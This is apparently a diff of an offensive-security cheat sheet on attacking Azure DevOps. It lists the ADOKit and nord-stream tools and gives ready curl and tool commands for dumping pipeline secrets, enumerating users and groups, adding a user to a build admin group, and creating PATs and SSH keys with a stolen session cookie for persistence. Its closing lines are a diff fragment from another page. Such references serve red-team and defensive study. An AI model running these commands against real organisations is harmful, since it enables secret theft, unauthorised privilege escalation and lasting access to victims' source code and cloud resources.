Azure DevOps
Swissky
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# Azure Services - Azure DevOps
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* [xforcered/ADOKit](https://github.com/xforcered/ADOKit) - Azure DevOps Services Attack Toolkit
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* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
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```ps1
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# List all secrets from all projects
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$ nord-stream.py devops --token "$PAT" --org myorg --list-secrets
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# Dump all secrets from all projects
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$ nord-stream.py devops --token "$PAT" --org myorg
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```
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## Authentication
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You can access an organization's Azure DevOps Services instance via https://dev.azure.com/{yourorganization}.
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* Username and Password
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* Authentication Cookie `UserAuthentication`: `ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization`
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* Personal Access Token (PAT): `ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganization`
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```ps1
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PAT="XXXXXXXXXXX"
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organization="YOURORGANIZATION"
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curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds
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```
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## Recon
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* Search files: `file:FileNameToSearch`, `file:Test* OR file:azure-pipelines*`
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```ps1
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curl -i -s -k -X $'GET'
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-H $'Content-Type: application/json'
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-H $'User-Agent: SOME_USER_AGENT'
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-H $'Authorization: Basic BASE64ENCODEDPAT'
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-H $'Host: dev.azure.com'
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$'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0'
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```
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* Search code: `ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"`
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```ps1
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curl -i -s -k -X $'POST'
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-H $'Content-Type: application/json'
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-H $'User-Agent: SOME_USER_AGENT'
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-H $'Authorization: Basic BASE64ENCODEDPAT'
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-H $'Host: almsearch.dev.azure.com'
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-H $'Content-Length: 85'
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-H $'Expect: 100-continue'
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-H $'Connection: close'
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--data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}'
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$'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview'
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```
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* Enumerate users
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```ps1
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curl -i -s -k -X $'GET'
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-H $'Content-Type: application/json'
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-H $'User-Agent: SOME_USER_AGENT'
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-H $'Authorization: Basic BASE64ENCODEDPAT'
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-H $'Host: dev.azure.com'
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$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0'
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```
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* Enumerate groups: `ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"`
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```ps1
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curl -i -s -k -X $'GET'
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-H $'Content-Type: application/json'
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-H $'User-Agent: SOME_USER_AGENT'
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-H $'Authorization: Basic BASE64ENCODEDPAT'
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-H $'Host: dev.azure.com'
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$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'
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```
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* Enumerate porject permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
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## Privilege Escalation
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* Adding User to Group: `ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"`
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```ps1
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curl -i -s -k -X $'PUT'
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-H $'Content-Type: application/json'
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-H $'User-Agent: Some User Agent'
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-H $'Authorization: Basic base64EncodedPAT'
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-H $'Host: vssps.dev.azure.com'
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-H $'Content-Length: 0'
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$'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1'
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```
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* Retrieve build variables and secrets: `ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`, `ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
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```ps1
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curl -i -s -k -X $'GET'
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-H $'Content-Type: application/json'
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-H $'User-Agent: Some User Agent'
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-H $'Authorization: Basic base64EncodedPAT'
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-H $'Host: dev.azure.com'
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$'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0'
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```
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* Retrieve Service Connection Information: `ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
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```ps1
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curl -i -s -k -X $'GET'
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-H $'Content-Type: application/json;api-version=5.0-preview.1'
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-H $'User-Agent: Some User Agent'
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-H $'Authorization: Basic base64EncodedPAT'
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-H $'Host: dev.azure.com'
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$'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0'
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```
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## Persistence
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* Create a PAT: `ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization`
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```ps1
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curl -i -s -k -X $'POST'
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-H $'Content-Type: application/json'
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-H $'Accept: application/json;api-version=5.0-preview.1'
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-H $'User-Agent: Some User Agent'
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-H $'Host: dev.azure.com'
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-H $'Content-Length: 234'
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-H $'Expect: 100-continue'
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-b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
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--data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}'
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$'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
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```
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* Create SSH Keys: `ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"`
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```ps1
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curl -i -s -k -X $'POST'
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-H $'Content-Type: application/json'
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-H $'Accept: application/json;api-version=5.0-preview.1'
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-H $'User-Agent: Some User Agent'
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-H $'Host: dev.azure.com'
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-H $'Content-Length: 856'
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-H $'Expect: 100-continue'
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-b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
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--data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}'
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$'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
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```
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## References
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* [Hiding in the Clouds: Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules - Brett Hawkins - November 6, 2023](https://www.ibm.com/downloads/cas/5JKAPVYD)
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@ -216,25 +216,6 @@ az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-g
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```
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## Azure Devops
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* Verify the validity of an Azure Personal Access Token (PAT)
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```ps1
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PAT=""
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organization=""
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curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds
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```
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* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
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```ps1
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# List all secrets from all projects
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$ nord-stream.py devops --token "$PAT" --org myorg --list-secrets
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# Dump all secrets from all projects
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$ nord-stream.py devops --token "$PAT" --org myorg
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```
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## Microsoft Intune
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* LAPS
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